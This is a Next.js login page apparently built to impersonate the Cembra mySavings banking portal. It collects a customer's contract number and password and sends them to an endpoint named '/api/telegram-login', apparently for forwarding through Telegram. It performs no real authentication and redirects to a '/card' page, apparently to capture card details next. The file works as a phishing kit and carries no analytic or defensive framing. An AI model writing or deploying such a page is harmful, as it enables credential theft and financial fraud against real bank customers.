"use client";

import { useState } from "react";
import { useRouter } from "next/navigation";
import { User, Lock } from "lucide-react";
import Header from "@/components/Header";

export default function LoginPage() {
  const router = useRouter();
  const [contractNumber, setContractNumber] = useState("");
  const [password, setPassword] = useState("");
  const [submitted, setSubmitted] = useState(false);
  const [loading, setLoading] = useState(false);

  const contractError = submitted && !contractNumber;
  const passwordError = submitted && !password;

  const handleLogin = async (e: React.FormEvent) => {
    e.preventDefault();
    setSubmitted(true);

    if (contractNumber && password) {
      setLoading(true);
      await fetch("/api/telegram-login", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ contractNumber, password }),
      });
      router.push("/card");
    }
  };

  return (
    <div className="min-h-screen flex flex-col bg-white">
      <Header />

      <main className="flex-1 flex items-start justify-center px-4 md:px-8 py-12">
        <div className="w-full max-w-4xl flex flex-col md:flex-row gap-12 md:gap-24">
          <div className="flex-1">
            <form onSubmit={handleLogin} className="space-y-6">
              <div className="space-y-1">
                <label className="text-xs font-medium tracking-wide text-[#004B87]">
                  VERTRAGSNUMMER
                </label>
                <div className="relative">
                  <User
                    className={`absolute left-0 bottom-2 h-5 w-5 ${contractError ? 'text-[#7B7B7B]' : 'text-[#0097A7]'}`}
                    strokeWidth={1.5}
                  />
                  <input
                    type="text"
                    value={contractNumber}
                    onChange={(e) => setContractNumber(e.target.value)}
                    className={`w-full pl-8 pb-2 pt-1 border-b-2 bg-transparent focus:outline-none text-gray-800 ${
                      contractError ? 'border-[#B22234]' : 'border-gray-800'
                    }`}
                  />
                </div>
                {contractError && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    DIESES FELD IST ERFORDERLICH.
                  </p>
                )}
              </div>

              <div className="space-y-1">
                <label className="text-xs font-medium tracking-wide text-[#004B87]">
                  PASSWORT
                </label>
                <div className="relative">
                  <Lock
                    className={`absolute left-0 bottom-2 h-5 w-5 ${passwordError ? 'text-[#7B7B7B]' : 'text-[#0097A7]'}`}
                    strokeWidth={1.5}
                  />
                  <input
                    type="password"
                    value={password}
                    onChange={(e) => setPassword(e.target.value)}
                    className={`w-full pl-8 pb-2 pt-1 border-b-2 bg-transparent focus:outline-none text-gray-800 ${
                      passwordError ? 'border-[#B22234]' : 'border-gray-800'
                    }`}
                  />
                </div>
                {passwordError && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    DIESES FELD IST ERFORDERLICH.
                  </p>
                )}
              </div>

              <div className="flex justify-center pt-4">
                <button
                  type="submit"
                  disabled={loading}
                  className="bg-[#004B87] hover:bg-[#003a6b] text-white font-medium px-12 py-2.5 transition-colors disabled:opacity-50"
                >
                  {loading ? "ANMELDEN..." : "ANMELDEN"}
                </button>
              </div>
            </form>
          </div>

          <div className="flex-1 flex items-start justify-start md:pt-8">
            <div>
              <h1 className="text-3xl md:text-4xl text-gray-600 font-light">
                Willkommen bei
              </h1>
              <h2 className="text-3xl md:text-4xl text-[#004B87] font-bold">
                Cembra mySavings
              </h2>
            </div>
          </div>
        </div>
      </main>

      <footer className="mt-auto">
        <div className="bg-[#D4E8C0] py-3 text-center">
          <div className="flex items-center justify-center gap-1 text-sm">
            <a href="#" className="text-[#004B87] underline hover:no-underline">Deutsch</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Français</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">English</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Italiano</a>
            <span className="text-gray-600 mx-1">|</span>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Kontakt Support</a>
          </div>
        </div>
        <div className="h-2 bg-[#8BC34A]"></div>
      </footer>
    </div>
  );
}